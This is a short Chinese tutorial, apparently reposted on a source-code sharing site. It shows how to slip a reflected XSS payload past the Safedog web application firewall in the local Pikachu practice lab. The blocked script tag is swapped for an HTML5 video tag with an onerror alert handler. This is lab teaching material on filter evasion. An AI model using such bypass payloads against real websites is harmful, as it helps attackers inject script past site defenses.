环境准备:
打开pikachu靶场
http://127.0.0.1/pikachu-master/vul/xss/xss_reflected_get.php
使用常见payload被安全狗拦截
<script>alert("@@")</script>
绕过
1)HTME5新标签<video>绕过:
绕过payload:
<video src=1 onerror=alert(/渣渣辉/)>
本站资源均来自互联网,仅供研究学习,禁止违法使用和商用,产生法律纠纷本站概不负责!如果侵犯了您的权益请与我们联系!
转载请注明出处: 免费源码网-免费的源码资源网站 » 45-2 waf绕过 - XSS 绕过WAF方法
发表评论 取消回复